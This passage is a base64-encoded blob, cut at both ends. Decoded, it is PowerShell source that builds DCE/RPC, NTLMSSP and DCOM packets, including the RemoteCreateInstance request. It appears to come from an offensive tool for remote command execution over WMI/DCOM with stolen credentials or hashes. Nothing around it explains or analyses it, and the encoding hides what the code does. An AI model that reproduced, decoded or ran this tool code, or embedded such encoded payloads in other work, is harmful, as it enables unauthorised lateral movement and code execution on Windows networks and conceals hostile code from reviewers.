WNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoUGFkTGVuZ3RoIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQ29udGV4dElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfTlRMTVNTUCIsJHBhY2tldF9OVExNU1NQKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQXV0aDMNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ1JlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9mbGFncyxbSW50XSRwYWNrZXRfc2VydmljZV9sZW5ndGgsW0ludF0kcGFja2V0X2F1dGhfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X29wbnVtLFtCeXRlW11dJHBhY2tldF9kYXRhKQ0KDQogICAgaWYoJHBhY2tldF9hdXRoX2xlbmd0aCAtZ3QgMCkNCiAgICB7DQogICAgICAgICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGggKyAkcGFja2V0X2F1dGhfcGFkZGluZyArIDgNCiAgICB9DQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2VfbGVuZ3RoICsgMjQgKyAkcGFja2V0X2Z1bGxfYXV0aF9sZW5ndGggKyAkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCArICRwYWNrZXRfZGF0YS5MZW5ndGgpDQogICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfYXV0aF9sZW5ndGggPSAkcGFja2V0X2F1dGhfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfUlBDUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldEZsYWdzIiwkcGFja2V0X2ZsYWdzKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0ZyYWdMZW5ndGgiLCRwYWNrZXRfZnJhZ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BdXRoTGVuZ3RoIiwkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ2FsbElEIiwkcGFja2V0X2NhbGxfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BbGxvY0hpbnQiLCRwYWNrZXRfYWxsb2NfaGludCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfT3BudW0iLCRwYWNrZXRfb3BudW0pDQoNCiAgICBpZigkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhIiwkcGFja2V0X2RhdGEpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfYXNzb2NfZ3JvdXAsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0VHlwZSIsW0J5dGVbXV0oMHgwZSkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfRnJhZ0xlbmd0aCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0Fzc29jR3JvdXAiLCRwYWNrZXRfYXNzb2NfZ3JvdXApDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfTnVtQ3R4SXRlbXMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Db250ZXh0SUQiLCRwYWNrZXRfY29udGV4dF9JRCkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfSW50ZXJmYWNlIiwkcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0ludGVyZmFjZVZlciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9UcmFuc2ZlclN5bnRheCIsW0J5dGVbXV0oMHgwNCwweDVkLDB4ODgsMHg4YSwweGViLDB4MWMsMHhjOSwweDExLDB4OWYsMHhlOCwweDA4LDB4MDAsMHgyYiwweDEwLDB4NDgsMHg2MCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2F1dGhfbGV2ZWwsW0J5dGVbXV0kcGFja2V0X3NlcXVlbmNlX251bWJlcikNCg0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCg0KICAgIGlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSA0KQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFBhZGRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoID0gMHgwNA0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9hdXRoX3BhZGRpbmcgLWVxIDgpDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BWZXJpZmllci5BZGQoIk5UTE1TU1BWZXJpZmllcl9BdXRoUGFkZGluZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfcGFkX2xlbmd0aCA9IDB4MDgNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSAxMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRkaW5nIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDBjDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDAwDQogICAgfQ0KDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhMZXZlbCIsJHBhY2tldF9hdXRoX2xldmVsKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRMZW4iLCRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aENvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyVmVyc2lvbk51bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyQ2hlY2tzdW0iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyU2VxdWVuY2VOdW1iZXIiLCRwYWNrZXRfc2VxdWVuY2VfbnVtYmVyKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXREQ09NUmVtUXVlcnlJbnRlcmZhY2UoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jYXVzYWxpdHlfSUQsW0J5dGVbXV0kcGFja2V0X0lQSUQsW0J5dGVbXV0kcGFja2V0X0lJRCkNCg0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfQ2F1c2FsaXR5SUQiLCRwYWNrZXRfY2F1c2FsaXR5X0lEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1Jlc2VydmVkMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfSVBJRCIsJHBhY2tldF9JUElEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRHMiLFtCeXRlW11dKDB4MDEsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRCIsJHBhY2tldF9JSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldERDT01SZW1SZWxlYXNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtCeXRlW11dJHBhY2tldF9JUElELFtCeXRlW11dJHBhY2tldF9JUElEMikNCg0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwNywweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0NhdXNhbGl0eUlEIiwkcGFja2V0X2NhdXNhbGl0eV9JRCkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0ludGVyZmFjZVJlZnMiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9JUElEIiwkcGFja2V0X0lQSUQpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1B1YmxpY1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9Qcml2YXRlUmVmcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0lQSUQyIiwkcGFja2V0X0lQSUQyKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9QdWJsaWNSZWZzMiIsW0J5dGVbXV0oMHgwNSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ByaXZhdGVSZWZzMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUmVsZWFzZQ0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0RENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtTdHJpbmddJHBhY2tldF90YXJnZXQpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0KQ0KICAgIFtCeXRlW11dJHBhY2tldF90YXJnZXRfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldC5MZW5ndGggKyAxKQ0KICAgICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgKz0gLDB4MDAgKiAoKFtNYXRoXTo6VHJ1bmNhdGUoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggLyA4ICsgMSkgKiA4KSAtICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9jbnRkYXRhID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldF91bmljb2RlLkxlbmd0aCArIDcyMCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA2ODApDQogICAgW0J5dGVbXV0kcGFja2V0X3RvdGFsX3NpemUgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoICsgNjY0KQ0KICAgIFtCeXRlW11dJHBhY2tldF9wcml2YXRlX2hlYWRlciA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA0MCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgW0J5dGVbXV0kcGFja2V0X3Byb3BlcnR5X2RhdGFfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA1NikNCg0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NVmVyc2lvbk1ham9yIixbQnl0ZVtdXSgweDA1LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfRENPTUZsYWdzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01DYXVzYWxpdHlJRCIsJHBhY2tldF9jYXVzYWxpdHlfSUQpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93bjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX1Vua25vd24zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9Vbmtub3duNCIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ250RGF0YSIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzT0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRkZsYWdzIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRklJRCIsW0J5dGVbXV0oMHhhMiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzOCwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01P